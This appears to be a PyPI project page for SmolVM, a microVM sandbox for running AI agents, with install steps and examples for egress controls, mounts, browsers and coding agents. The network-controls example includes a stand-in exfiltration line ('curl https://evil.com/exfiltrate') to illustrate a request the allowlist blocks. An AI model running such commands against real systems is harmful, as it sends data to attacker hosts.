Skip to main content

Secure, isolated computers that AI agents can use to browse, run code, and get real work done. Free and open-source from Celesto AI

Project description

SmolVM

Secure, isolated computers that AI agents can use to browse, run code, and get real work done.

CodeQL Run Tests License Python 3.10+

Quick startExamplesFeaturesPerformanceDocsCommunity Slack


SmolVM gives AI agents their own disposable computer. Each microVM boots in milliseconds, runs any code or software you throw at it, persists files and state across sessions, and disappears when you're done — ready to handle thousands of sandboxes in production.


Feature What it means for you
Sub-second boot Your agent has a running VM before the API call returns (~500 ms).
Hardware isolation          Each sandbox runs in its own virtual machine with hardware-level separation. Untrusted code can't escape or access your system.
Network controls Lock down egress to specific domains so agents can't call home.
Browser sandbox Agents get a full browser they can see and control in real time.
File sharing Share local directories with the sandbox, read-only or writable.
Snapshots Pause a sandbox and resume it later with everything intact.
Coding agents One command to launch a sandbox with Claude Code, Codex, or Pi pre-installed.
OpenClaw Run GUI Linux apps (IDEs, browsers, tools) inside an isolated sandbox.

Use cases

  • Run untrusted code safely. Execute AI-generated code in an isolated sandbox instead of on your machine.
  • Give agents a browser. Spin up a full browser session that agents can see and control in real time.
  • Let agents read your project. Mount a local directory so agents can explore your codebase inside a sandbox.
  • Keep state across turns. Reuse the same sandbox throughout a multi-step workflow.

Quickstart

Install SmolVM with a single command:

curl -sSL https://celesto.ai/install.sh | bash

This installs everything you need (including Python), configures your machine, and verifies the setup.

Manual installation
pip install smolvm
smolvm setup
smolvm doctor

On supported Linux and macOS systems, pip install smolvm also pulls in the matching smolvm-core wheel automatically. Most users do not need Rust installed.

Linux may prompt for sudo during setup so it can install host dependencies and configure runtime permissions.

For golden-AMI builds, two-stage deploys, pinning the Firecracker version, and other non-default install paths, see docs/installation.md.

Start a sandbox in Python

from smolvm import SmolVM

vm = SmolVM()
result = vm.run("echo 'Hello from the sandbox!'")
print(result)
vm.stop()

Start a sandbox from the CLI

Create a sandbox, check that it's running, then stop it:

smolvm create --name my-sandbox
# my-sandbox  running  172.16.0.2

smolvm list
# NAME         STATUS   IP
# my-sandbox   running  172.16.0.2

smolvm stop my-sandbox

Open a shell inside a running sandbox:

smolvm ssh my-sandbox

Coding agents

It sucks to “press enter and accept changes” every few seconds while using coding agents. SmolVM makes it easy to isolate the agent coding environment from the host (laptops).

With a single command you get a claude/codex pre-installed sandbox ready with git credential to make you build a billion dollar business without making any mistake ;)

smolvm codex start  # start a new environment with codex preinstalled

smolvm claude start  # start a new environment with claude preinstalled

smolvm pi start  # start a new environment with the Pi coding agent preinstalled

Browser sandbox

SmolVM can also start a full browser inside a sandbox. This is useful when agents need to navigate websites, fill out forms, or take screenshots.

Start a browser session with a live view you can watch in your own browser:

smolvm browser start --live
# Session:   sess_a1b2c3
# Live view: http://localhost:6080

Open the URL to watch the browser in real time. When you're done, list and stop sessions:

smolvm browser list
smolvm browser stop sess_a1b2c3

See examples/browser_session.py for the Python equivalent.

Network controls

By default, sandboxes have full internet access. You can restrict which domains a sandbox can reach by passing internet_settings:

from smolvm import SmolVM

vm = SmolVM(internet_settings={
    "allowed_domains": ["https://api.openai.com"],
})

vm.run("curl https://api.openai.com/v1/models")    # allowed
vm.run("curl https://evil.com/exfiltrate")         # blocked

See docs/concepts/network-egress-controls.md for how it works under the hood.

Mount host directories

You can give a sandbox access to a folder on your machine. This is useful when an agent needs to work with an existing project without copying files back and forth.

smolvm create --mount ~/Projects/my-app
smolvm ssh my-sandbox
ls /workspace   # your host files appear here

By default the host folder is read-only — the sandbox can read every file, but changes stay inside the sandbox and never touch the originals. If the agent creates or edits files under /workspace, those changes live only in the VM's overlay layer.

Mount at a custom path, or mount multiple directories:

smolvm create --mount ~/Projects/my-app:/code --mount ~/data:/mnt/data

When you do want the sandbox to edit your host files, add --writable-mounts:

smolvm create --mount ~/Projects/my-app --writable-mounts

Every directory passed with --mount becomes writable; writes from the guest are visible on the host immediately. The flag applies to all mounts on that command, so don't pair a folder you want the sandbox to modify with one you want kept untouched.

The same works from Python:

from smolvm import SmolVM

with SmolVM(mounts=["~/Projects/my-app"], writable_mounts=True) as vm:
    vm.run("echo hello > /workspace/from-sandbox.txt")

Upload a file

You can copy one file into a running sandbox without mounting a whole folder. This is useful when an agent needs a config file, script, or small input file.

# Copy a file from your machine into the sandbox.
smolvm file upload my-sandbox ./prompt.txt /tmp/prompt.txt

# Open a shell in the sandbox to confirm the file is there.
smolvm ssh my-sandbox
# Then, inside the sandbox shell:
cat /tmp/prompt.txt

The same works from Python:

from smolvm import SmolVM

vm = SmolVM.from_id("my-sandbox")
vm.upload_file("./prompt.txt", "/tmp/prompt.txt")
vm.close()

The destination must be an absolute path inside the sandbox (starting with /), and any existing file at that path is overwritten.

Examples

Getting started

What you'll learn Example
Run code in a sandbox quickstart_sandbox.py
Start a browser session browser_session.py
Pass environment variables into a sandbox env_injection.py

Agent framework integrations

These examples show how to wrap SmolVM as a tool for popular agent frameworks, so an AI model can run shell commands or drive a browser through your sandbox.

Framework Example
OpenAI Agents openai_agents_tool.py
LangChain langchain_tool.py
PydanticAI — shell tool pydanticai_tool.py
PydanticAI — reusable sandbox across turns pydanticai_reusable_tool.py
PydanticAI — browser automation pydanticai_agent_browser.py
Computer use (click and type) computer_use_browser.py

Advanced

What it does Example
Install and run OpenClaw inside a Debian sandbox with a 4 GB root filesystem openclaw.py

Each script shows its own pip install ... line when it needs extra packages.

Security

SmolVM automatically trusts new sandboxes on first connection to keep setup simple. This is safe for local development, but you should not expose sandbox network ports publicly without extra controls. See SECURITY.md for the full policy and scope.

Performance

SmolVM ships a benchmark suite that measures the timings AI agents actually feel: cold start, time-to-interactive, pause/resume, and snapshot create/restore. It drives the public Python SDK on whichever backend is native to your host — Firecracker on Linux, QEMU on macOS.

Run it locally:

uv run python scripts/benchmarks/bench.py

See scripts/benchmarks/README.md for flags, output format, and what each metric means.

Contributing

See CONTRIBUTING.md to get started.

License

Apache 2.0 — see LICENSE for details.


Built with 🧡 in London by Celesto AI

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

smolvm-0.0.13.tar.gz (344.0 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

smolvm-0.0.13-py3-none-any.whl (238.9 kB view details)

Uploaded Python 3

File details

Details for the file smolvm-0.0.13.tar.gz.

File metadata

  • Download URL: smolvm-0.0.13.tar.gz
  • Upload date:
  • Size: 344.0 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.13

File hashes

Hashes for smolvm-0.0.13.tar.gz
Algorithm Hash digest
SHA256 be02e5c1760c3ec81ed2180dfa9998265701993719ac0a1884dbba2178c4bb9b
MD5 8d5b9d63c99365a15c22a2594e858e79
BLAKE2b-256 e5116977e5778fba865065bd37b4982a04dcde53332660544ad9629447937f99

See more details on using hashes here.

Provenance

The following attestation bundles were made for smolvm-0.0.13.tar.gz:

Publisher: publish.yml on CelestoAI/SmolVM

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file smolvm-0.0.13-py3-none-any.whl.

File metadata

  • Download URL: smolvm-0.0.13-py3-none-any.whl
  • Upload date:
  • Size: 238.9 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.13

File hashes

Hashes for smolvm-0.0.13-py3-none-any.whl
Algorithm Hash digest
SHA256 daeb135cd0e0ac5782065271cd35d959d5350374243d07e929ccf44aeba9f0fd
MD5 b72ef59ba3ecc0ff1dcd73f061b81584
BLAKE2b-256 ba7de376a1d70aa70d232cd44fdce3de771cb16bf978e38ad2086aa8a1f64a66

See more details on using hashes here.

Provenance

The following attestation bundles were made for smolvm-0.0.13-py3-none-any.whl:

Publisher: publish.yml on CelestoAI/SmolVM

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page